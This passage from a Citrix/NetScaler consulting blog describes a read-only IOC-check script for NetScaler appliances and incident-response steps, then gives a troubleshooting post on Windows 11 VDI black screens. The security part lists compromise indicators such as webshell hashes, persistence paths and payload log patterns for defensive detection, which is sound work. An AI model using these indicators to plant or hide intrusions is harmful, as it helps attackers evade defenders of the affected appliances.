The additional reference checks assessed nslog.nextfile by its numeric contents and permissions. The PID in /var/run/nsprofmgmt.pid was checked against the actual running nsprofmgmt process instead of treating a changing PID file hash as a fixed expected value. Both checks matched in this example. This is an internal comparison with one clean appliance on the same build, not a Citrix baseline.

The report contained no [ACTION] findings. This only means that the selected higher-priority patterns did not match within the captured scope. Open [CHECK] items—such as log coverage, file changes near the upgrade, or old process events—still need to be compared with maintenance records, live state, and external logs.

Check and enable Enhanced ISN Generation

For CVE-2026-88778, installing a fixed build alone is not sufficient: Citrix also requires Enhanced ISN Generation to be enabled.

Check the running state in the NetScaler CLI:

To check the saved configuration:

An enabled setting in the saved configuration may look like this:

If the directive is absent from ns.conf, the saved state corresponds to the Citrix default, DISABLED. The saved configuration may differ from the live state, so also check the CLI output.

If the setting needs to be enabled, apply it through your change process and verify it:

The expected result is Enhanced ISN Generation: ENABLED. Check each HA node and follow the current Citrix Enhanced ISN Generation instructions.

Deyda NetScaler IOC Check: automated security assessment

Deyda NetScaler IOC Check is a read-only assessment tool. It does not change the NetScaler configuration, restart services, or delete files. The report is saved under /var/tmp. It begins with an executive summary and prioritized next steps, followed by seven numbered assessment areas: platform and uptime; firmware and CVE prerequisites; system integrity and persistence; web configuration and served files; log coverage and event correlation; follow-up validation; and incident response. The summary is not repeated as another numbered assessment section. The [ACTION], [CHECK], and [OK] counts represent messages, not a risk score.

What the script checks

  • Firmware detection prefers the running kernel path; fallbacks include live nsconmsg data, bootloader files, and finally the header of the saved ns.conf.
  • Assesses CVE-2026-88779 separately using SAML SP/IdP objects and the fixed builds in CTX697174.
  • Assesses CVE-2026-107406 separately using saved SAML SP/IdP objects and standard 14.1/13.1 build thresholds in CTX697191. FIPS/NDcPP thresholds are not assumed and require manual validation. Workaround coverage and firmware level remain separate results.
  • Compares the build with the minimum levels in CTX697096 and searches saved configuration for CVE prerequisites. A match on a fixed build is treated as configuration context, not proof that the appliance remains vulnerable.
  • Reads Enhanced ISN Generation from /nsconfig/ns.conf. If the directive is absent, the saved state is treated as DISABLED, in accordance with the Citrix default. The saved configuration may differ from the live state.
  • Checks system integrity and files, including reboots, core/crash files, startup configuration, /bin/sh, SUID/SGID files, known webshell and payload indicators, .dot files, language files, and web server configuration and metadata. It inventories all user files in /var/cron/tabs/ in addition to named user crontabs; dynamic nsprofmgmt.pid and nslog.nextfile values are checked structurally instead of against fixed hashes.
  • Before the scan, counts readable local HTTP, system, DNS, and audit log files and adds up their file sizes. It displays these values and a rough runtime estimate before checks begin. The estimate accounts for repeated searches, but is only a guide: compression, storage performance, and system load affect actual runtime.
  • Time window: checks for recently modified web/application files and selected httpd.conf and core/crash checks use a fixed 14-day window. The separate search for changes since the firmware update uses the modification time of /var/nsinstall/installns_state. Fourteen days may not cover the campaign period since early September; use retained older logs and manual searches with a suitable start date for the earlier period.
  • Compares hashes with publicly reported webshell/payload samples, including the Unit 42 nsg64.deb pattern. A match is a strong investigation lead, while variants with different hashes may not be detected.
  • Searches logs for INDEX: payloads, reconnaissance patterns (nsepa.deb HTTP 206 with a one-byte response and vp_probe_nonexist), both publicly described PPE triggers (missed too many heartbeats and unexpectedly died) when accompanied by shell syntax. It also inventories selected authentication endpoints such as Authentication/GetUserName. An endpoint request alone is not proof of an attack. Base64 content is decoded for display only and is never executed. Both traces together raise investigation priority but do not prove that a command ran.
  • Searches for actual nsaaad crash and restart-limit events and corresponding core dumps. Normal authentication lines and process lists are assessed separately from process lifecycle messages.
  • Checks saved SAML configuration, the support policy, and its AAA_REQUEST bindings. It also examines reported payload destinations and additional authentication injection patterns; matches for download commands remain distinct from proven execution.
  • Searches for persistence and tunnel artifacts such as /nsconfig/.slap/, /var/tmp/.ux/, .slap.receiver, receiver.deb, modified webshell aliases, additional system users, and unusual EPA changes. Individual names or configuration settings must be correlated with content and approved changes.
  • Reviews log retention and coverage around the patch time. On an appliance, the script reads the modification time of /var/nsinstall/installns_state; compare this timestamp with actual upgrade records.

[OK] means no matching pattern was found in the path and period searched. [CHECK] means manual review, baseline comparison, or coverage assessment is required. [ACTION] marks a prioritized investigation lead. None of these statuses alone proves the appliance is clean or compromised.

Assess log matches using their original timestamps. A historical match for a NetScaler path or script extension alone does not prove compromise. Compare the timestamp, source, and content with the investigation period, patch marker, and change records.

The internal references for /bin/sh, /etc/monitrc, and LogonPoint files are scoped by file and by standard build 14.1-73.37, 14.1-73.41, or 14.1-73.46. They come from internal clean-appliance samples, not Citrix-published checksums or universal baselines for other platforms, editions, or customer customizations. The y2ogq1 User-Agent pattern observed on 5 October is documented with a manual log-search command; the article does not claim that the script already checks this exact string as a dedicated IOC.

Run the script

Download the current version from GitHub, copy deyda-netscaler-ioc-check.sh to the appliance—for example, to /var/tmp—switch to the NetScaler shell, and run it:

Before the checks start, the script displays the number of readable candidate log files, their approximate total size including compressed files, and an estimated runtime. This estimate is a guide, not a guarantee.

The script attempts to read the firmware and Enhanced ISN settings automatically and does not prompt interactively. If you want to supply the values explicitly, use this order:

The first argument is the firmware build; the second is ENABLED, DISABLED, or the complete CLI output. No third patch-date argument is required.

For an exported configuration, use the restricted configuration mode:

This mode checks only the saved configuration. File, log, process, and live system checks are not available. Run the full assessment on each HA node and compare important values with the live CLI state.

The script does not replace the supported NetScaler Console Security Advisory Scan, Citrix File Integrity Monitoring, or a forensic investigation. It does not run YARA against disk images or core dumps and does not generate core dumps itself.

Remediation for affected systems

SAML denial of service: implement and test the support workaround

For CVE-2026-88779, prioritize updating to the edition-specific fixed build in section 1.6. If a workaround is needed until updating, obtain the current policy revision confirmed for your SP/IdP configuration from Citrix Support. Earlier SP examples are not blanket approval for every SAML scenario. Confidential policy expressions are not published here.

Do not paste the support expression directly into the ADC CLI. Save the supplied instruction unchanged to a batch file in the ADC shell, for example /var/saml_protection.txt. Leave the shell with exit, then run it in the ADC CLI:

Check the batch output for errors. Compare existing policies with the current support revision and bind them to the affected front-end virtual servers as instructed. Replace placeholders with the confirmed object and policy names. The example priority 100 must be compatible with existing bindings and their evaluation order:

Check the policy and the corresponding live bindings:

Immediately test a normal SAML sign-in through every affected Gateway URL and every relevant sign-in path. If a problem occurs, preserve the error message and coordinate the adjustment with Citrix Support. Save the successfully validated configuration:

For HA, also verify synchronization and effective configuration on both nodes. Document implementation and testing. This policy mitigates the described sign-in attack; it does not remove existing persistence or replace firmware updates and investigation of earlier events. Deyda NetScaler IOC Check examines evidence of the workaround but does not deploy it.

Suspected compromise: preserve evidence and recover

  1. Preserve evidence: For VPX, consider a hypervisor snapshot under your incident response procedures. Record system time, time zone, and NTP settings. Preserve local and remote syslog, NetScaler Console logs, and a Technical Support Bundle. Citrix describes these steps in CTX694799.
  2. Handle core dumps carefully: The Citrix procedure for generating an NSPPE core dump causes a warm restart and disconnects SSH sessions. Preserve other available evidence first and coordinate the restart with incident response and service owners.
  3. Contain and correlate: Plan isolation according to incident response procedures and service impact. Correlate HTTP, authentication, system, and DTLS events with files, processes, and outbound connections. Invalidate or terminate existing sessions if session theft cannot be ruled out.
  4. Investigate connected systems: Check authentication servers, web servers, management systems, and other systems the appliance communicated with.
  5. Rebuild after confirmed compromise: Consider a trusted rebuild or replacement rather than only patching or deleting individual files. Use a backup known to predate the incident and verify the configuration after restoration.
  6. Rotate secrets and certificates: Rotate affected accounts, LDAP/AD and service secrets, and API keys. Replace potentially compromised certificates, including private keys, and revoke them where required. After rebuilding, rotate local passwords and KEKs.
  7. Harden and monitor: Do not expose management services to the public Internet. Harden the NetScaler in line with vendor guidance and monitor it more closely for at least 90 days.
  8. Assess residual risk: A clean scan is only as meaningful as the paths checked and logs retained. If legal evidence preservation may be required, consult legal counsel before rebuilding.

Get your NetScaler security professionally assessed

Do you need support with firmware updates, assessing critical vulnerabilities, or investigating potential indicators of a security incident?

Deyda Consulting can support you with a NetScaler Security Readiness assessment — structured, traceable, and based on real-world NetScaler experience.

Sources

Windows 11 Black Screen After the September Update – explorer.exe Fails to Start

After installing the September Windows updates, I came across an interesting issue in a Windows 11 VDI environment.

User authentication completed successfully. The Citrix session was established and the Windows logon process appeared to complete normally.

But instead of the desktop, the user was left with a persistent black screen.

At first glance, this looked like a typical Citrix, HDX, or user profile issue. However, troubleshooting eventually pointed in a very different direction:

Windows Shell, AppX, and XAML initialization.

And there was another interesting observation:

Removing the Windows update did not resolve the issue.

Re-registering several Windows Shell/AppX components did.

Windows 11 Black Screen After Logon – The Symptoms

The affected systems were Windows 11 VDI machines.

The actual user logon succeeded:

User Authentication
↓
Citrix Session Established
↓
Windows Logon
↓
explorer.exe Does Not Start
↓
BLACK SCREEN

The important part was that the session itself was not dead or disconnected.

From Task Manager, I could manually start: explorer.exe

Immediately afterwards, the desktop, taskbar, and Start menu appeared and the session could be used normally.

This is an important distinction when troubleshooting the issue.

If manually starting explorer.exe results in a fully functional desktop, there is little reason to immediately assume that ICA/HDX, VDA registration, or the basic Citrix session establishment is the actual problem.

The more interesting question becomes:

Why isn’t the Windows Shell starting correctly during the normal logon process?

Initially, Everything Points to Citrix or the User Profile

With a black screen on a Citrix VDA, there are several obvious suspects:

  • Citrix VDA
  • HDX
  • Citrix Profile Management
  • FSLogix
  • Group Policies
  • AppX packages
  • Start menu
  • explorer.exe
  • Shell extensions

User profile management becomes particularly suspicious if existing users are affected while users with newly created profiles can log on successfully.

However, a similar behavior can also occur outside Citrix environments.

That makes a purely Citrix-specific problem much less likely.

The common denominator appears to be closer to:

Windows 11 + VDI + persistent user state + Windows Shell.

Removing the Windows Update Did Not Fix the Problem

Considering the timing of the issue, one of the obvious troubleshooting steps was to test the system without the recently installed Windows update.

The expectation was simple:

Update Installed
↓
Black Screen

Update Removed
↓
Problem Resolved

That, however, is not what happened.

Even after uninstalling the update, the black screen remained.

This is an important observation.

Apparently, returning the Windows binaries to their previous state was not sufficient.

If an inconsistent state had already been created within the user profile or Windows Shell registration during or after the update, that state could potentially remain even after uninstalling the update.

That would also explain why simply rolling back the Windows update did not repair the affected users.

The Important Test: Start explorer.exe Manually

A very simple test helped narrow down the issue significantly.

While the user was stuck on the black screen:

Task Manager → Run new task → explorer.exe

If the taskbar, Start menu, and desktop immediately appear afterwards, we already know quite a lot:

  • The Citrix session is working.
  • The user has successfully logged on.
  • The user profile is fundamentally available.
  • Windows can display the desktop.
  • explorer.exe itself can run.

The problem therefore appears to be specifically related to the initial launch or initialization of the Windows Shell during the logon sequence.

That changes the direction of troubleshooting considerably.

The Trail Leads to Windows AppX and the Shell

The workaround that eventually made the difference was to re-register three Windows components in the user context:

These components are associated with modern Windows Shell functionality and the XAML infrastructure.

For testing, they can be re-registered using PowerShell:

And this is where things became interesting:

After re-registering the AppX/Shell packages, the normal logon started working again in my test environment.

explorer.exe launched automatically and the desktop appeared as expected.

Why This Is Technically Interesting

This paints a very different picture from a traditional Citrix black-screen issue.

A simplified version of the failing sequence could look something like this:

User Logon
↓
User Profile Loaded
↓
Windows Shell Packages
↓
AppX / XAML / Shell State
↓
Initialization Fails
↓
explorer.exe Does Not Start Correctly
↓
BLACK SCREEN

After re-registering the affected components:

User Logon
↓
Shell Packages Registered
↓
Client.CBS
UI.Xaml.CBS
Client.Core
↓
Shell State Initialized
↓
explorer.exe
↓
DESKTOP

This does not prove the exact Microsoft-side root cause.

However, the behavior provides a strong indication that the issue is located somewhere around Windows Shell/AppX/XAML initialization, rather than being a traditional Citrix HDX problem.

Why Profile Management Is Still Relevant

I would not completely remove Citrix Profile Management or FSLogix from the investigation.

Not necessarily because either product caused the issue, but because profile management may be responsible for persisting the problematic state.

This is particularly interesting in non-persistent VDI environments.

The machine itself may be reset during reboot or recompose:

Golden Image
↓
MCS / PVS Machine
↓
Clean Machine State

But the user’s profile returns:

User Logon
↓
Existing UPM / FSLogix Profile
↓
Persistent User State
↓
Windows Shell

If the problematic state exists within the user context, recomposing the machine may not help at all.

This could also explain why removing the Windows update did not resolve the issue in my test.

The problematic state was potentially already present.

Test an Existing Profile Against a New Profile

Another useful troubleshooting step is comparing an affected user with a completely new user profile.

For example:

User A
Existing Profile
→ Black Screen

User B
New Profile
→ Desktop Works

If you see this pattern, I would not immediately delete User A’s profile.

That affected profile is potentially extremely valuable for further root-cause analysis.

Instead, I would first create a backup of the affected UPM profile or FSLogix container and use it to reproduce and investigate the issue.

Resetting the profile may remove the symptom, but it may also destroy exactly the state required to determine what actually happened.

How I Would Troubleshoot This Today

If a customer reported black screens on Windows 11 VDAs following Windows patching, reinstalling the VDA would definitely not be my first step.

My troubleshooting flow would look roughly like this:

Windows 11 VDI
↓
Black Screen After Logon
↓
Open Task Manager
↓
Start explorer.exe Manually
↓
Does the Desktop Appear?
│
├── NO
│ ↓
│ Investigate Other Causes
│
└── YES
↓
Investigate Windows Shell
↓
Compare Existing vs. New Profile
↓
Check AppX / Shell Registration
↓
Re-register Shell Packages
↓
Test Logon Again

If explorer.exe works when launched manually and the normal logon starts working again after re-registering the Shell packages, I would not immediately start tearing apart ICA, HDX, or the VDA installation.

The evidence points somewhere else.

The Working Workaround

In my test environment, the successful workaround was re-registering the three Windows Shell packages during user logon.

For example, this can be implemented using a synchronously executed GPO user logon script:

Timing matters here.

The goal is not to re-register these components at some arbitrary point after the desktop has already initialized.

The required components should be correctly registered during the logon sequence before the Windows Shell completes its initialization.

I would also strongly recommend testing this workaround with a small pilot group first rather than deploying it immediately to every user.

A working workaround is useful, but it is not the same thing as a confirmed permanent fix.

What I Would Not Do

I would not immediately:

Delete all affected user profiles.

I would also not automatically:

Declare FSLogix or Citrix Profile Management to be the root cause.

And based on my testing, I would definitely not assume:

Windows Update removed = problem solved.

That was simply not the case here.

Removing the update did not change the behavior.

Only after re-registering the Windows Shell components did the normal logon start working again.

What This Tells Us About VDI Troubleshooting

This case is a good reminder that a black screen in a Citrix environment is not automatically a Citrix problem.

Citrix sits on top of a fairly complex Windows stack:

Citrix HDX
↓
Windows Session
↓
User Profile
↓
AppX / XAML
↓
Windows Shell
↓
Explorer

A failure somewhere in that chain can present exactly the same symptom to the end user:

A black screen.

So the important troubleshooting question isn’t necessarily:

Why is Citrix showing a black screen?

It is:

Which part of the Windows logon sequence actually failed?

In this case, explorer.exe provided the critical clue.

Conclusion

Finding in the Wild: Following the September Windows updates, users in Windows 11 VDI environments may successfully log on but remain stuck on a persistent black screen because explorer.exe does not start correctly during the logon process.

Based on my testing, three observations were particularly important:

Removing the Windows update did not resolve the issue.

Manually starting explorer.exe immediately restored a functional desktop.

Re-registering MicrosoftWindows.Client.CBS, Microsoft.UI.Xaml.CBS, and MicrosoftWindows.Client.Core restored the normal logon behavior.

This does not yet establish the definitive root cause, but it provides a strong indication that the problem is related to Windows Shell/AppX/XAML initialization rather than the Citrix session itself.

Until a definitive root cause and permanent fix are available, I would test the workaround carefully, preserve affected profiles for further analysis, and retest the behavior after subsequent Windows updates.

Finding in the Wild – exactly the kind of issue where the black screen is only the visible symptom, while the actual problem is hiding several layers deeper.

Install new Microsoft Teams (version 2) in Citrix

The new version of Microsoft Teams (often referred to as “Teams 2.0”) has been the new standard since July 1, 2024.

For VDI environments, this means:

  • October 1, 2024 → End of Support (Classic Teams in VDI)
  • July 1, 2025 → End of Availability

In short:
There is no way back.

Timeline VDI Clients
Continue reading “Install new Microsoft Teams (version 2) in Citrix”

NetScaler ADC Firmware Upgrade

Regular firmware updates are one of the most important maintenance tasks in a NetScaler ADC infrastructure. In addition to new features, current firmware releases include important bug fixes and security-related patches. Especially in the case of security advisories or actively exploited vulnerabilities, firmware updates should be scheduled promptly.

Because a firmware upgrade can affect production services such as NetScaler Gateway, Load Balancing, Content Switching, AAA, GSLB, or SSL Offloading, it should never be performed without proper preparation. A structured approach reduces downtime and minimizes the risk of unexpected issues.

This article describes the recommended upgrade process for production NetScaler ADC environments.

Continue reading “NetScaler ADC Firmware Upgrade”

Migration of Citrix databases

With the latest Citrix Virtual Apps & Desktops (CVAD) LTSR version, older SQL Server versions have been discontinued. If you want to keep your environment stable and supportable, there is no way around migrating the Citrix databases (site, logging, monitoring) to modern SQL servers (2019/2022). Whether cluster, always on or mirroring – the procedure remains essentially the same. In this article, I will show you step by step how to migrate securely.

1. Prerequisites

  • Complete backups of all Citrix databases
  • Backups/VM snapshots of the delivery controllers (DDCs)
  • New SQL Server (Cluster, Always On or Mirror)
  • Same SQL version on Principal and Mirror
Continue reading “Migration of Citrix databases”